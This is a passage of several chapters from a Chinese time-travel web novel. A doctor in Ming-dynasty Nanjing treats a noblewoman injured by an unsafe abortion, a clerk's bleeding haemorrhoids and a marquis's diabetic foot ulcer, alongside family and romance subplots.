老妈子脸色变了变,声音低了下来:“找了稳婆……用钩子刮的。”
……
第89章 大出血!
马淳猛地站起身。
他早该想到,这些大户人家最重脸面,绝不会让小姐留着私生子。
“胡闹!”马淳一把抓住小姐的手腕。
脉象虚浮紊乱,分明是失血过多又感染了邪毒。
小姐虚弱地笑了笑:“不怪大夫,是我自己身子不争气。”
老妈子在旁喋喋不休:“现在可好,小姐落下病根,月事紊乱,还总发低热。老爷请了三个太医都治不好,这才又来找你。”
马淳冷冷扫了她一眼:“出去等着。”
老妈子梗着脖子:“我得看着小姐!”
“想让她活命就闭嘴出去。”马淳的声音像淬了冰。
老妈子被他的气势吓住,悻悻地退到门外。
马淳扶小姐坐下,轻声问:“刮宫后有没有发热?下体可流脓血?”
小姐点点头,声音细如蚊蚋:“稳婆说……说我的胞宫受损,怕是再难有孕了。”
马淳心里一沉。
这时代的刮宫术毫无消毒概念,十有八九造成了严重感染。
他转身从药柜取出一个青瓷瓶,倒出两粒白色药片。
“先把这个吃了。”
小姐接过药片,犹豫道:“这是……”
“消炎的。”马淳递上温水,“能治你的发热。”
小姐乖乖吞下药片。
马淳又取出银针,在她虎口和足三里各扎一针。
“大夫,我是不是要死了?”小姐突然问道。
马淳手上动作不停:“死不了。但需要静养一个月,按时服药。”
小姐苦笑:“家里不会让我养那么久的。父亲已经给我定了亲事,下月就要过门。”
马淳眉头紧锁。
这分明是要把这烫手山芋尽快甩出去。
“男方可知你的情况?”
小姐摇头,眼里泛起泪光:“只知道我前阵子‘染了风寒’。”
马淳收好银针,严肃地说:“你必须休息。强行圆房会加重出血,有性命之忧。”
门外老妈子等的不耐烦,探头进来:“好了没有?”
马淳没理她,继续对小姐说:“我给你开些补血药和消炎药,回去一定要按时服用。”
他写了两张药方,一张是寻常的当归补血汤,另一张用暗语记了几种药。
“这张交给信任的丫鬟,悄悄去城东‘仁济堂’抓药。”马淳压低声音,“千万别让那老妈子知道。”
小姐将药方藏进袖中,轻声道谢。
老妈子冲进来搀扶小姐:“该回去了,老爷该着急了。”
马淳拦住她:“诊金。”
老妈子不情不愿地摸出钱袋。
这次她没敢再讨价还价,老老实实付了一贯钱。
临走时,小姐回头看了马淳一眼,眼中满是复杂的情绪。
徐妙云从后堂出来,看见马淳站在门口发呆。
“怎么了?”
马淳摇头:“造孽啊。那姑娘胞宫受损,以后恐怕很难生育了。”
徐妙云轻叹:“这世道对女子太过苛刻。”
马淳突然一拳砸在门框上:“那家人明知小姐身体未愈,还急着把她嫁出去!”
徐妙云握住他的手:“你已尽力了。”
马淳沉默良久,转身回到药柜前。
他取出几味药材,开始配一副新药。
“这是?”
“避孕药。”马淳头也不抬地说,“那姑娘若在新婚之夜出血,必死无疑。这药能让她暂时闭经,躲过一劫。”
徐妙云惊讶地看着他:“你连这个都会配?”
马淳苦笑:“在太医院古籍上看过方子。没想到真有用上的一天。”
傍晚时分,马淳忽听门外马蹄声急。
一个丫鬟打扮的少女跌跌撞撞跑进来,正是白天那位小姐的贴身婢女。
“大夫救命!”丫鬟哭道,“我家小姐服药后吐血了!”
马淳心头一震。
他配的药绝不会有这种副作用。
“带我去看看。”
丫鬟却摇头:“小姐让我把这个交给您。”
她递上一块染血的手帕。
马淳展开一看,上面用血写着几个字:“药被换,救我。”
马淳立刻明白过来。
那老妈子八成是发现小姐藏的药,偷偷调换了。
“备马!”他对徐妙云喊道,“我去去就回。”
徐妙云拉住他:“你知道她住哪?”
马淳一愣。
上次那老妈子刻意隐瞒了府邸位置。
丫鬟急道:“我家是诚意伯府,小姐是刘伯爷的庶女!”
马淳倒吸一口凉气。
诚意伯刘琏是刘伯温的儿子,也算当朝勋贵,难怪那老妈子如此嚣张。
“你先回去,我随后就到。”马淳对丫鬟说完,转身进屋准备药材。
徐妙云忧心忡忡:“要得罪权贵了。”
马淳将几瓶药塞进包袱:“顾不得了。”
入夜。
马淳骑马直奔诚意伯府。
府门紧闭,侍卫持刀而立。
“来者何人?”
马淳亮出腰牌:“太医院副院判马淳,奉皇后懿旨为刘小姐诊病。”
侍卫面面相觑。
这腰牌是马皇后之前赐给他的,没想到今日派上用场。
进了府门,老妈子闻讯赶来,脸色大变:“谁让你进来的?”
马淳冷笑:“刘小姐若有三长两短,你猜伯爷会怎么处置你?”
老妈子顿时蔫了,悻悻地带路。
小姐闺房内弥漫着血腥味。
她躺在床上,面如金纸,身下的被褥已被鲜血浸透。
马淳立刻施针止血,又灌下一剂汤药。
“谁换的药?”他厉声问。
老妈子扑通跪下:“老奴冤枉啊!是小姐自己乱吃药……”
马淳懒得理她,专心救治。
一个时辰后,小姐的脉象终于平稳下来。
“暂时没事了。”马淳擦擦额头的汗,“但必须卧床半月,否则还会出血。”
老妈子哭丧着脸:“可婚期将近……”
马淳冷冷道:“要么推迟婚期,要么准备丧事,你们自己选。”
门外突然传来脚步声。
一个身着锦袍的中年男子大步走进来,正是诚意伯刘琏。
“怎么回事?”他沉声问道。
老妈子吓得瘫软在地。
马淳拱手行礼,将情况如实相告。
刘琏听完,脸色阴晴不定。
最后他长叹一声:“婚事推迟。有劳马大夫了。”
马淳不放心,就在刘府等着。
期间他看到刘琏的嫡夫人指指点点,言说好不容易找到一家人,推延婚期,人家还不得看出毛病来?
马淳听得火大,却没办法反驳什么……
第90章千金小姐偷情穷书生的狗血爱情故事
刘小姐醒来时,已月上中天。
她虚弱地睁开眼,看见马淳坐在床边,手里捧着一碗冒着热气的药。
“醒了?”马淳将药碗递过去,“趁热喝。”
刘小姐勉强撑起身子,接过药碗,小口啜饮。
苦涩的药汁滑过喉咙,她微微皱眉,却还是坚持喝完。
“多谢大夫。”她放下碗,声音轻得几乎听不见。
马淳看着她苍白的脸色,沉默片刻,终于开口:“现在能告诉我,到底怎么回事吗?”
刘小姐低下头,手指无意识地绞着被角。
“是夫人派来的嬷嬷。”她轻声道,“表面上是带我看病,实则是监视我。”
马淳皱眉:“嫡夫人?”
刘小姐点头,眼中闪过一丝黯然:“我娘去得早,我是庶出,府里没人在意我。若不是这次闹出丑事,父亲恐怕连我是谁都记不清。”
她的声音很平静,仿佛在说别人的事。
“那孩子……”马淳斟酌着用词。
刘小姐苦笑:“是西席先生的。他姓陈,是个秀才,去年被请来教弟弟读书。他待我很好,常偷偷带些诗集给我看。”
她的眼神渐渐柔和,像是回忆起什么美好的事。
“后来呢?”马淳问。
“后来我有了身孕。”刘小姐的声音低了下去,“父亲骗我说,先生考中举人就翻脸不认人,可后来我才知道,他知道我有身孕后,立刻向父亲提亲。可父亲嫌他出身低,连话都没听完,就叫人把他赶出了京城。”
马淳心中一沉:“他没回来找你?”
“找过。”刘小姐的眼泪终于落下来,“可父亲派人拦着,他连府门都进不来。再后来,我就听说他被赶出京城了。”
马淳沉默片刻,问道:“他叫什么?”
“陈彦。”刘小姐抬头看他,眼中带着一丝希冀,“大夫认识他?”
马淳摇头:“但我会留意。”
刘小姐苦笑:“不必了。他如今自身难保,哪还顾得上我。”
她抬手擦掉眼泪,深吸一口气:“大夫,我的身子……是不是真的废了?”
马淳没有立刻回答。
刘小姐却已经明白了。
她闭了闭眼,轻声道:“也好,反正这辈子就这样了。”
马淳看着她,忽然道:“未必。”
刘小姐一愣。
“你的胞宫受损,但并非无药可医。”马淳站起身,“只是需要时间调理。”
刘小姐眼中闪过一丝光亮,但很快又黯淡下去:“可父亲不会给我时间。”
马淳回头看她:“我会想办法。”
刘小姐怔怔地看着他,眼泪再次涌出。
门外传来脚步声,刘琏带着几个仆人走了进来。
“马大夫,小女如何了?”刘琏沉声问道。
马淳拱手行礼:“小姐需要静养,至少一个月不能移动。”
刘琏皱眉:“可婚期……”
“伯爷。”马淳直视他,“若强行出嫁,小姐必死无疑。”
刘琏脸色一变,转头看向床上的女儿。
刘小姐别过脸,不愿与他对视。
刘琏沉默良久,终于叹了口气:“婚事推迟。”
他转身离开,背影竟有几分佝偻。
马淳看着他的背影,心中感慨万千。
夜深了,马淳收拾药箱准备离开。
刘小姐忽然叫住他。
“大夫。”她轻声道,“若有机会……请帮我带句话给陈彦。”
马淳点头:“你说。”
“告诉他,我不怪他。”刘小姐笑了笑,眼泪却止不住地流,“让他好好活着。”
马淳郑重地点头:“我一定带到。”
离开诚意伯府时,马淳抬头看了看天上的月亮,心中沉甸甸的。
【叮!医治大出血病患,奖励积分100!】
……
马淳回到医馆时已是三更,油灯还亮着。
徐妙云坐在药柜前捣药,听见门响立刻抬头。
“怎么样?”她放下药杵。
马淳把药箱搁在桌上,倒了碗凉茶灌下去,“命保住了,但身子亏空得厉害。”
徐妙云递来汗巾:“刘家肯推迟婚期?”
“刘伯爷亲口应的。”马淳擦着脖子上的汗,“可那位嫡夫人怕是不甘心。”
徐妙云拨了拨灯芯:“刘小姐可有说什么?”
“她托我找个人。”马淳把陈彦的事说了,“一个被赶出京城的穷秀才,大海捞针。”
徐妙云眼睛一亮:“五军都督府有个叫周海的文书,专管军户名册。这人机灵,或许能查到线索。”
马淳摇头:“军户名册不录秀才。”
“李景隆呢?”徐妙云指尖轻叩桌面,“他常去国子监,认识不少读书人。”
马淳沉吟片刻:“也好,明日我再找傅忠兄弟帮忙。他们常在酒楼茶肆走动,消息灵通。”
徐妙云问:“若真找到陈彦……你待如何?”
马淳沉声道:“得看那人值不值得刘小姐惦记。”
翌日一早,傅忠就风风火火闯进医馆。
“马兄!你要找的秀才可有画像?”他抓起茶壶直接对嘴灌。
马淳扔给他一块蒸饼:“只有姓名和大概年纪。”
傅忠三口吞了饼:“够我几个跑一趟了。让李九江去,他混迹国子监,专爱打听这些风流韵事。”
午后李景隆来访,手里晃着把泥金折扇。
“陈彦?这名字耳熟。”他眯眼想了想,“去年秋闱前,国子监确有个姓陈的因‘品行不端’被除名。”
这一听就知道是刘琏动用了关系。
马淳闻言问:“可知去向?”
李景隆摇头:“听说回了原籍。”
徐妙云从内室转出:“周海刚送来消息,陈彦的军户亲戚住在滁州。”
马淳与妻子对视一眼。
滁州离京城不过一日路程,说不定陈彦没走。
三日后傅让带回关键线索。
“陈彦没回原籍!”他兴奋地拍桌子,“他在滁州乡下开了间私塾。更妙的是……”
他掏出一封泛黄的信,“他的同窗说,他每月十五都托人往京城送信,收信人是刘府丫鬟!”
马淳展开信纸。
字迹清隽,满纸都是对刘小姐的愧疚与思念。
徐妙云轻轻叹气:“倒是个有情义的。”
“看起来信没到刘小姐手上。”马淳分析。
“都被诚意伯的嫡夫人收了?”傅忠问。
傅让道:“早就听说诚意伯的夫人厉害,没想到这么厉害,她想让刘小姐嫁的人一定要问题,不行,这么伤天害理的事我一定要查清楚?”
大家都觉得有问题。
当夜马淳去了诚意伯府。
刘小姐靠在床头喝药,见了他急忙撑起身子。
“有消息了?”她手指攥紧被角。
马淳点头:“人在滁州,活得清贫但踏实。”
他顿了顿,“你托我带的句话,我亲自去说。”
刘小姐的眼泪砸在药碗里:“不必了……知道他还好就行。”
马淳皱眉:“你不想见他?”
“见了又能怎样?”她苦笑,“我这残破身子,何必拖累他。”
窗外忽然传来瓷器碎裂声。
刘琏阴沉着脸走进来,手里捏着傅让查到的信。
“为父竟不知……”他声音发颤,“你与那陈彦是两情相悦。”
刘小姐别过脸不说话。
刘琏重重叹气:“为父明日就去滁州。若那陈彦当真不负你,这婚事……为父亲自去退!”
马淳悄悄退出去,把空间留给这对父女……
第91章 这是……避孕用的鱼鳔套
马淳回到医馆,徐妙云正在院井边晾晒纱布。
“解决了?”她头也不回地问。
马淳帮她抻平纱布一角:“刘伯爷亲自出马,比我们管用。”
徐妙云轻笑:“你倒是会躲清闲。”
马淳忽然想起什么:“周海他们该给些谢礼。”
“早备好了。”徐妙云指指墙角,“两坛虎骨酒给傅家兄弟,李景隆那份是西域伤药。周海说他不要什么谢礼,他想让你帮他看看,他好像有隐疾。”
一提到隐疾,马淳就感兴趣了,“好!”
马淳揽住妻子肩膀:“幸好有你。”
徐妙云拍开他的手:“少肉麻。刘小姐的药方该换了,我去抓点黄芪。”
诚意伯估计也知道他家那个老娘们不是好惹的,于是就将女儿转到了马淳这里。
当然每天马淳都收他一贯宝钞的费用。
这主要是为了敲敲竹竿。
这天晨鸡唱晓时,马淳站在医馆门口伸懒腰。
街角转出个戴斗笠的青年,背上捆着包袱,风尘仆仆却掩不住书卷气。
“可是马神医?”青年拱手,“在下陈彦,特来谢过救命之恩。”
马淳眯眼打量他:“你消息倒灵通。”
陈彦苦笑:“刘府小厮今早找到我,说小姐……说小姐愿见我一面。”
马淳侧身让他进门:“她在东厢房。”
时间不长,医馆里传来压抑的哭声,接着是刘琏如释重负的叹息。
徐妙云冲马淳眨眨眼,两人默契地退出去掩上门。
廊下药炉咕嘟咕嘟冒着泡。
马淳突然道:“今日该给柳莹儿复诊。”
徐妙云会意:“我这就去准备胎记膏。”
……
三日后清晨,马淳站在医馆门口,看着刘府的马车缓缓驶来。
车帘掀起,刘小姐扶着陈彦的手走下车。
她脸色仍有些苍白,但眼中有了光彩。
“马大夫。”刘小姐福了一礼,“今日我们便要起程去滁州了。”
陈彦拱手作揖:“大恩不言谢。”
马淳从袖中取出一个青布包:“这是调理气血的药丸,每日一粒。还有……”他压低声音,“避孕用的鱼鳔套,用法都写在里头了。”
陈彦耳根通红,接过布包的手微微发抖。
刘小姐却坦然问道:“我的身子……还能好吗?”
马淳示意他们进屋。
“手术很成功。”马淳取出脉枕,“创口已经修复,但胞宫需要时间恢复。两年内不能怀孕,否则前功尽弃。”
陈彦急忙道:“我们省的。”
刘小姐轻抚小腹,忽然抬头:“若是两年后……”
“自然可以。”马淳笑了笑,“到时候来复诊,我给你们开副助孕的方子。”
徐妙云捧出个红木匣子:“这是补血养气的药材,够用三个月。”
门外传来马蹄声。
刘琏带着两个家仆走进来,手里捧着个锦盒。
“贤婿啊。”他拍拍陈彦的肩,“这是你岳母给的嫁妆,一套上好的文房四宝,还有滁州田契地产。”
陈彦连忙推辞:“使不得……”
“拿着。”刘琏硬塞给他,“滁州虽不比京城,但胜在清净。你安心教书,照顾好我闺女。”
马淳注意到刘琏眼下的青黑,想必这几日没少和嫡夫人周旋。
刘小姐忽然跪下:“女儿不孝……”
刘琏扶起她,声音发哽:“是为父糊涂。那姓赵的商贾本就不是良配,你嫡母……”
他顿了顿,“罢了,往后好好过日子。”
日头渐高,马车载着简单的行装驶出村口。
刘小姐从车窗探出头,用力挥着帕子。
徐妙云站在马淳身侧,轻声道:“总算圆满了。”
马淳望着扬起的尘土:“但愿如此。”
午后,傅忠风风火火闯进医馆:“马兄!出事了!”
“慢些说。”马淳放下药碾。
傅忠灌了口凉茶:“诚意伯夫人闹到皇后那儿去了,说你拐带她家闺女!”
徐妙云闻言好笑。
马淳也跟着笑:“刘伯爷怎么说?”
“怪就怪在这儿。”傅忠挠头,“刘伯爷当着皇后的面,把他夫人训斥了一顿。”
正说着,门外传来仪仗声。
锦衣卫开道,凤辇停在医馆门前。
马皇后戴着素纱帷帽,在宫娥搀扶下走进来。
众人慌忙跪拜。
“都起来吧。”马皇后声音温和,“本宫今日是来谢马大夫的。”
徐妙云奉上香茶。
马皇后揭开茶盖,氤氲热气模糊了她的面容:“刘家的事,本宫都知道了。小马大夫仁心仁术,该赏。”
她从袖中取出块玉牌:“凭此物可随时入宫请脉。”
马淳双手接过,触手生温的羊脂玉上刻着“妙手回春”四字。
马皇后忽然咳嗽起来。
徐妙云眼疾手快递上帕子,雪白丝绢上赫然沾着血丝。
“娘娘!”马淳霍然起身。
“老毛病了。”马皇后摆摆手,“今日来,也是想请马大夫瞧瞧。”
马淳仔细诊脉,眉头越皱越紧。
脉象虚浮紊乱,分明是积劳成疾又染了肺热。
“娘娘需要静养。”他斟酌着用词,“臣开个方子……”
马皇后却笑了:“陛下日夜操劳国事,本宫怎能安心养病?”她望向窗外,“天下未定,百姓疾苦……”
徐妙云心疼地朝她跪下:“娘娘保重凤体,才是万民之福。”
马皇后扶起她:“好孩子。”
马淳从药柜深处取出个瓷瓶:“这是消炎……呃,清肺热的药丸,每日三次。”
马皇后收下药瓶,临行前忽然问:“那对小儿女,真能白头么?”
马淳想起陈彦小心翼翼搀扶刘小姐的模样,郑重道:“会的。”
送走马皇后后,马淳在柜台清点着今日的药材,忽然听见系统提示音。
【叮!促成姻缘一桩,奖励积分500!】
徐妙云正在后院煎药,袅袅烟气中,她抬头问:“怎么了?”
马淳笑着摇头:“想起柳莹儿该来复诊了。”
“后日才到日子。”徐妙云搅动药勺,“你呀,总是记挂别人。”
马淳走到她身后,轻轻环住她的腰:“幸好有你记挂我。”
药炉咕嘟咕嘟冒着泡,院墙外传来孩童嬉闹声,不知谁家在做荠菜馅的饺子,香气飘过整个小青村。
夜色渐深,一轮明月升上枝头。
马淳站在院井边,望着滁州方向。
此刻那对新人应该到了新家,或许正对着同样的月亮,筹划着来年的日子。
徐妙云为他披上外袍:“看什么呢?”
“月亮。”马淳握住她的手,“你瞧,滁州的月亮一定和京城的一样圆。”
……
第92章 痔疮……大出血了都
小青村,官员休沐日的清晨。
马淳刚洗漱完毕,忽然听见前院传来窸窸窣窣的脚步声。
“马、马大夫在吗?”
马淳抬头,看见一个穿着青色棉布长衫的中年男子站在院门口。
那人约莫三十出头,面皮白净,手指修长,一看就是常年握笔的文人。
此刻他正局促地搓着手,眼神飘忽不定。
“周书吏?”马淳放下药筛,“进来吧,今日特意为你留了时间。”
周海的脸顿时涨得通红。
他左右张望,确认四下无人,这才踮着脚尖溜进院子,活像只偷油的老鼠。
徐妙云端着药筐从厢房出来,见状抿嘴一笑:“周大哥来得真早,我这就去烧水泡茶。”
“不必麻烦!”周海慌忙摆手,声音都变了调,“我、我这就走……”
马淳按住他的肩膀:“来都来了,总要把脉。”
说着将人引进了诊室。
周海坐在条凳上,双手紧握成拳放在膝头,额头渗出细密的汗珠。
马淳取出脉枕:“手。”
周海哆哆嗦嗦地把手腕搁在脉枕上,眼睛死死盯着地面。
马淳搭上三指,发现他脉搏快得惊人。
“放松。”马淳收回手,“说说症状。”
周海喉结滚动,支支吾吾道:“就是……那个地方……不太舒服……”
“具体怎么不舒服?”
“疼。”周海声音细如蚊呐,“坐着疼,如厕更疼。有时……有时还会出血。”
他说到最后两个字时,整张脸已经红得像煮熟的虾子。
马淳注意到他坐姿别扭,时不时就要悄悄抬一抬左半边屁股。
“多久了?”
“约莫半年。”周海低着头,“起初只是有些痒,后来……后来就……”
马淳点点头:“脱裤子我看看。”
周海猛地抬头,眼中满是惊恐:“这、这如何使得!”
“我是大夫。”马淳转身去药柜取东西,“你这样的病人我见多了。”
周海犹豫了许久终于豁出去了。
马淳背对着他准备器械,听见身后传来窸窸窣窣的布料摩擦声,间或夹杂着几声抽气。
“好了没?”
“好、好了……”
马淳转身,看见周海面朝下趴在诊床上,裤子褪到膝弯,用长衫下摆死死盖住臀部。
露出的半截小腿绷得笔直,腿毛紧张地打了卷,脚趾头十个都蜷了起来。
检查很快结束。
马淳洗手时,周海已经手忙脚乱地系好了裤带,整个人像只受惊的鹌鹑缩在墙角。
“痔疮。”马淳擦干手,“不算严重,但拖久了会恶化。”
周海肩膀一抖:“能、能治吗?”
“当然。”马淳拉开抽屉取出一包药粉,“这是外敷的,每日睡前用温水化开清洗。另外——”他又拿出个小瓷瓶,“疼得厉害时抹这个,能消肿止痛。”
周海接过药,嘴唇颤抖:“多谢马大夫。这个……这个病……”
“久坐引起的。”马淳打断他,“你们书吏一坐就是几个时辰,最容易得这个。以后每隔半个时辰要起来活动,多喝水,少吃辛辣。”
周海连连点头,忽然压低声音:“马大夫,这事能不能……”
“放心。”马淳笑了笑,“医者有为病人保密的义务。”
周海长舒一口气,从袖中摸出个沉甸甸的荷包。
马淳推回去:“诊金二十文就够了。”
“这怎么行!”周海急了,“您不知道,这毛病害得我连衙门里的庆功宴都不敢去。上月李都督做寿,我硬是装病躲过去。再这样下去,怕是要耽误前程……”
马淳想了想,又取出几贴膏药:“那这些也拿着。贴在裤子里,能缓解久坐的不适。”
周海千恩万谢地走了。
徐妙云从门外探进头:“治好了?”
“小毛病。”马淳收拾着器械,“不过对他这种要面子的人来说,怕是比断条腿还难受。”
徐妙云噗嗤一笑:“难怪他总躲着同僚喝酒。”
午后,马淳刚想歇会儿,忽听前院传来急促的脚步声。
“马大夫!救命!”
一个穿着五军都督府号衣的年轻士卒冲进来,满脸是汗。
马淳认得他是周海的跟班小厮。
“怎么了?”
“周、周书吏晕在路上了!”小厮急得直跺脚,“刚走到村口就栽倒了,怎么叫都不醒!”
马淳抓起药箱就往外跑。
村口的老槐树下,周海面色惨白地躺在地上,裤管沾着血迹。
周围已经聚了不少村民,指指点点地议论着。
“让开!”马淳拨开人群,蹲下检查。
周海的脉搏微弱,呼吸急促。
他掀开对方的长衫,发现裤子上洇开一大片暗红。
“快抬去医馆!”马淳厉声道,“他这是痔疮破裂大出血!”
四个壮汉立刻用门板抬起周海。
马淳一路小跑跟在旁边,不断用帕子按压出血部位。
鲜血很快浸透了帕子,顺着他的指缝往下滴。
医馆里,徐妙云已经准备好了热水和干净布巾。
马淳让人把周海侧放在诊床上,迅速戴上手套。
“剪刀。”
徐妙云递上消过毒的剪刀。
马淳利落地剪开周海的裤子,露出血肉模糊的患处。
马淳的动作很快,他用特制的钳子夹住出血点,另一只手接过徐妙云递来的桑皮线。
“忍着点。”他对昏迷中的周海说,“马上就好。”
缝合持续了约莫一刻钟。
马淳的额头渗出细密的汗珠,徐妙云不时用帕子替他擦拭。
最后打结时,周海突然抽搐了一下,发出一声痛苦的呻吟。
“醒了?”马淳松了口气,“别动,已经止住血了。”
周海睁开眼,看清自己的处境后,立刻发出一声哀嚎,挣扎着要爬起来。
“躺好!”马淳按住他,“再出血会要命的!”
周海瘫软下去,眼泪顺着眼角往下流:“完了……全衙门都会知道……我还怎么见人……”
马淳清洗着手上的血迹:“命重要还是面子重要?”
周海不说话了,把脸埋进枕头里。
马淳开好药方,让徐妙云去煎药。
“你这病得静养半月。”马淳交代道,“我已经派人去都督府告假,就说你染了风寒。”
周海闷闷地“嗯”了一声。
傍晚时分,周海的高热退了。
马淳给他换了药,又嘱咐了些注意事项。
“马大夫。”周海突然开口,“其实……衙门里好几个同僚都有这毛病。”
马淳挑眉:“哦?”
“我们私下偷偷交流过药方。”周海的声音越来越小,“但谁都不敢找正经大夫看,怕传出去被人笑话。”
马淳收拾着药箱:“病就是病,有什么好笑的?”
周海苦笑:“您是不知道,上月兵部王主事就因为这事被起了个‘血臀郎君’的绰号,气得告病回家了。”
马淳摇头:“愚昧。”
夜色渐深,医馆里点起了油灯。
周海睡熟后,马淳坐在灯下翻看医书。
徐妙云端来热茶,轻声道:“他这样回去,怕是要被同僚笑话。”
马淳合上书:“我有个主意。”
第二天一早,五军都督府来了两个差役接周海。
马淳将一包药交给他们:“这是治痔疮的特效药,你们衙门里谁需要就分些去。”
差役面面相觑。
马淳继续道:“告诉你们同僚,这病常见得很,久坐的文官十个里八个有。不及时治,轻则疼痛难忍,重则像周书吏这样大出血。”
差役连连称是,扶着周海上了马车。
车轮声渐远,徐妙云笑道:“这下周书吏不用躲着人了。”
马淳伸了个懒腰:“走吧,今天还有十几个病人等着呢。”
……
第93章 消渴症!糖尿病病足溃烂!!
昨天就说好,要回娘家。
一大早徐妙云就掀了被子。
她赤脚踩在青砖地上,从樟木箱里翻出件藕荷色褙子比划。
马淳支着胳膊看她:“穿这么素?”
“回娘家又不是赴宴。”徐妙云把褙子叠好,“再说今日吴伯父要来,他最爱挑人衣饰。”
马淳摸出个油纸包递过去:“尝尝。”
徐妙云剥开糖纸,琥珀色的硬糖在舌尖化开,桂花的香气溢了满口。“哪来的?”
“前日去药市淘的西域货。”马淳系着腰带,“给孩子们带了些。”
厨房里飘着酸香味。
徐妙云掀开陶瓮,见里头泡着切好的鱼片,青花椒浮在乳白汤面上。
“这酸菜腌得地道。”她拈了片菜帮子尝。
马淳往包袱里塞调料包:“川蜀来的方子。”
辰时三刻,马车停在魏国公府角门。
徐辉祖正和家仆搬酒坛,见了他们忙迎上来。
“大姐!”徐增寿从影壁后蹦出来,眼睛直往马淳手里瞟,“姐夫,带什么好吃的了?”
徐妙云拍开他爪子:“多大人了还馋嘴。”
花厅里炭盆烧得正旺。
徐达穿着家常棉袍,正和吴祯下棋。
见女儿女婿进来,老爷子棋子一推:“不下了,吃饭!”
吴祯捋着胡子笑:“国公爷这是找借口赖棋。”
侍女们端着食案鱼贯而入。
马淳解开包袱,取出几个油纸包。“小婿带了些新鲜吃食。”
徐增寿抢着拆包,红艳艳的辣椒面沾了满手。“这什么?”
“火锅料。”马淳把铜锅架在炭炉上,“川蜀人冬日最爱。”
徐妙云帮着摆盘。
鱼片薄如蝉翼,羊肉切得透亮,嫩豆腐颤巍巍堆成小山。
吴祯夹了片毛肚在滚汤里涮,七上八下后蘸了蒜泥,嚼得咯吱响。
“脆!”老头眯起眼,“比金陵城的酒楼还地道。”
徐辉祖的夫人吴氏舀了碗酸菜鱼汤。
奶白的汤里浮着金黄的油星,她吹开热气啜了一口,突然呛出眼泪。
“辣!”她吐着舌头找水,徐辉祖忙递上凉茶。
徐达尝了口鱼片,颔首道:“这酸菜够劲,配酒正好。”
马淳给众人分糖。
徐妙锦剥开玻璃纸,把橙黄的硬糖含在嘴里,眼睛倏地亮了。“甜的!”
“橘子味。”马淳又抓了把给她,“还有荔枝的。”
吴祯凑过来:“这糖纸竟透亮如琉璃?”
“西域商人带的。”马淳面不改色,“说是用蔗糖和果汁熬的。”
酒过三巡,徐达脸上泛了红。
他拍着马淳的肩:“你小子有两下子,我闺女跟着你没受委屈。”
徐妙云正给弟弟们分糖,闻言抿嘴一笑。
吴祯咂着酒问:“听说你治好了诚意伯家闺女?”
“碰巧罢了。”马淳涮着羊肉,“刘小姐身子弱,得慢慢调养。”
徐辉祖突然插话:“姐夫,你那治痔疮的膏药……”
满桌瞬间安静。
徐增寿一口酒喷出来,吴氏红着脸低头。
马淳面不改色地掏出药包:“早晚各贴一次,忌辛辣。”
徐达哈哈大笑:“这毛病武将常见!当年在漠北,傅友德那老小子……”
“父亲!”徐妙云急得跺脚,“正吃饭呢!”
酒过三巡,徐达和吴祯坐在花厅里闲聊,炭盆里的火苗噼啪作响,映得两人脸色微红。
徐达拍着吴祯的肩膀笑道:“老吴,你这酒量倒是见长,当年在漠北时,三碗就倒,如今竟能喝一整坛。”
吴祯摆摆手,脸上却没什么笑意,只是勉强扯了扯嘴角:“年纪大了,酒量反倒不如从前,今日不过是陪国公尽兴。”
马淳坐在一旁,目光不经意间扫过吴祯的脚。
吴祯的靴子边缘微微翘起,露出一截缠着草药的布条,布条上隐约渗着暗红色的血迹。
马淳眉头微皱,这伤口的位置和溃烂的样子,不像是寻常外伤。
他不动声色地起身,走到吴祯身旁,拱手道:“侯爷,晚辈见您走路时似有不适,可是脚上有伤?”
吴祯一愣,随即笑道:“小伤而已,行军打仗的人,哪有不带点伤的?”
徐达闻言,也低头看去,见吴祯脚踝处的布条已经泛黄,皱眉道:“老吴,你这伤多久了?怎么不找大夫看看?”
吴祯摆摆手:“敷些草药就好,不必麻烦。”
马淳蹲下身,仔细看了看那伤口,溃烂处边缘泛着不正常的青紫色,皮肤干燥皲裂,伤口却迟迟不愈。他抬头问道:“侯爷,这伤可是反复发作?即便敷药,也难见好转?”
吴祯沉默片刻,终于点头:“确实如此,起初只是脚趾发麻,后来皮肤溃烂,敷了药能好一阵,可过些日子又复发。”
马淳心中一沉,这症状极像是糖尿病初期的病足。他沉声道:“侯爷,这恐怕不是寻常外伤,而是内症所致。”
吴祯眉头一皱:“内症?”
马淳点头:“晚辈曾见过类似的病症,患者多饮多食,却日渐消瘦,伤口久不愈合,甚至皮肤瘙痒难耐。”
吴祯神色微变,显然马淳所言与他自身情况吻合。
他低声道:“确实如此,近来总觉得口干,喝水再多也不解渴,夜里还常起夜。”
徐达听得心惊,连忙道:“老吴,你这病可不能拖,赶紧让马小子给你瞧瞧!”
马淳起身,对吴祯道:“侯爷若信得过晚辈,不妨让晚辈诊一诊脉。”
吴祯沉吟片刻,终于点头:“好,那就麻烦马大夫了。”
马淳取来脉枕,吴祯将手腕放上。
马淳三指搭脉,细细感受,果然脉象沉细而数,兼有滑象,正是消渴之症的表现。
他收回手,沉声道:“侯爷,您这病名为消渴,乃是体内阴津亏耗,燥热内盛所致。若不及时调理,日后恐会伤及脏腑,甚至……”
吴祯神色凝重:“甚至如何?”
马淳轻叹:“甚至可能引发痈疽、目疾,乃至肢体溃烂难愈。”
徐达听得心惊肉跳,连忙道:“老吴,这可不是小事!你得听马小子的,好好治!”
吴祯沉默良久,终于苦笑一声:“老夫征战半生,刀剑无眼都未曾惧过,没想到竟被这消渴症缠上。”
马淳安慰道:“侯爷明日到医馆,我要再确认一下。”
……
第94章 胰岛素!是从猪胰里提取出来的!
清晨,马淳在医馆后院清点兑换来的仪器。
血糖仪、试纸、胰岛素注射器,还有一本《糖尿病防治手册》。
他翻了几页,心里盘算着怎么跟吴祯解释这些现代医学概念。
徐妙云端着茶进来,见他盯着一个古怪的小盒子发呆,问道:“这就是你说的能测‘血糖’的东西?”
马淳点头:“一会儿侯爷来了,得先测一下。”
徐妙云好奇地拿起血糖仪:“这玩意儿真能看出病来?”
“能。”马淳把东西收好,“不过解释起来麻烦,待会儿你别插话,我来应付。”
徐妙云白了他一眼:“我又不是傅忠那个大嘴巴。”
正说着,院外传来一阵马蹄声。
马淳起身去迎,却见两拨人同时到了门口。
一边是吴祯带着亲兵,另一边是傅忠、傅让兄弟俩,中间还是他们表妹柳莹儿。
傅忠一见马淳就咧嘴笑:“马大夫,我带表妹来复诊!”
马淳点头:“稍等,我先给侯爷看诊。”
傅忠这才注意到吴祯,连忙行礼:“侯爷!”
吴祯摆摆手:“不必多礼。”
